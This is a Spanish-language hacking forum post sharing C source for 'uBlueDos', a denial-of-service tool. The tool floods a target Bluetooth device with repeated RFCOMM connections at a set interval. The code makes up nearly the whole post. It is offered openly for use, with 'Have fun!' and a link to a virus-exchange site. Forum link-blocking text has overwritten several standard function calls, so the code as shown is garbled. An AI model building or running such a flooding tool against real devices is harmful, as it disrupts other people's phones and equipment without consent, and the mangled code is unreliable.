comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

D.O.S en el protocolo Bluetooth

  • 0 Respuestas
  • 1443 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5380
  • Actividad:
    75%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 23, 2010, 12:08:50 pm »
Código: C
  1. /* This version let you set the interval in ms (1000ms = 1sec)
  2.    A simple tool to make DoS against bluetooth devices.
  3.    Compile it so: gcc uBlueDos.c -o uBlueDos -lbluetooth
  4.    I have tested this proggy against my nokia n70 and it seems to work.
  5.    Have fun!
  6.    Contact me at wargame89@yahoo.it or visit: http://vx.netlux.org/wargamevx
  7. */
  8.  
  9. #include <bluetooth/bluetooth.h>
  10. #include <bluetooth/rfcomm.h>
  11. #include <sys/socket.h>
  12.  
  13. /* make the real connection */
  14. int BlueConnect(bdaddr_t *dst,short channel)
  15. {
  16.    struct sockaddr_rc remote_addr, local_addr;
  17.    int sock;
  18.  
  19.    if ((sock = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0)
  20.    {
  21.       No tienes permisos para ver links. Registrate o Entra con tu cuenta("Error creating the bluetooth socket!\n");
  22.       return 0;  
  23.    }
  24.  
  25.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(&local_addr, 0, sizeof(local_addr));
  26.    local_addr.rc_family = AF_BLUETOOTH;
  27.    bacpy(&local_addr.rc_bdaddr, BDADDR_ANY);
  28.    
  29.    if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0)
  30.    {
  31.       No tienes permisos para ver links. Registrate o Entra con tu cuenta("Error binding!\n");
  32.       close(sock);
  33.       return 0;
  34.    }
  35.  
  36.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(&remote_addr, 0, sizeof(remote_addr));
  37.    remote_addr.rc_family = AF_BLUETOOTH;
  38.    bacpy(&remote_addr.rc_bdaddr, dst);
  39.    remote_addr.rc_channel = channel;
  40.  
  41.    if (connect(sock, (struct sockaddr *)&remote_addr, sizeof(remote_addr)) < 0)
  42.    {
  43.       No tienes permisos para ver links. Registrate o Entra con tu cuenta("Error connecting!\n");
  44.            /* Do not return */
  45.    }
  46.  
  47.    else
  48.    {
  49.       No tienes permisos para ver links. Registrate o Entra con tu cuenta("[* Done]\n");
  50.    }
  51.    
  52.    close(sock); /* close the socket */
  53.    
  54. }
  55.  
  56. int main(int argc,char *argv[])
  57. {
  58.    int dos_cnt,it;
  59.    bdaddr_t dst;
  60.    short channel = 1;
  61.  
  62.    if(argc < 4)
  63.    {
  64.       No tienes permisos para ver links. Registrate o Entra con tu cuenta("Usage: %s <bt_addr> <conn_num> <ms_sleep> <channel (optional, default = 1)>\n",argv[0]);
  65.       return 0;
  66.    }
  67.  
  68.    str2ba(argv[1],&dst);
  69.    dos_cnt = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[2]));
  70.    it = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[3]));
  71.  
  72.    if(argv[4] != NULL)
  73.    {
  74.       channel = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[4]));
  75.    }
  76.  
  77.    No tienes permisos para ver links. Registrate o Entra con tu cuenta("[bt_addr = %s,conn_num = %d,ms_sleep = %d,channel = %d]\n",argv[1],dos_cnt,it,channel);
  78.  
  79.    for(;dos_cnt > 0;dos_cnt--)
  80.    {
  81.       BlueConnect(&dst,channel);
  82.       usleep(it);  
  83.    }
  84.  
  85.    return 1;
  86. }
« Última modificación: Mayo 01, 2014, 01:37:00 am por ANTRAX »


 

¿Te gustó el post? COMPARTILO!



Cómo subir cosas a mi móvil sin tener cable USB ni bluetooth/inflarojos

Iniciado por ANTRAX

Respuestas: 5
Vistas: 4045
Último mensaje Mayo 19, 2011, 07:58:22 pm
por darkangel2125
Mi Profanador de Bluetooth en C

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1594
Último mensaje Febrero 23, 2010, 12:28:49 pm
por ANTRAX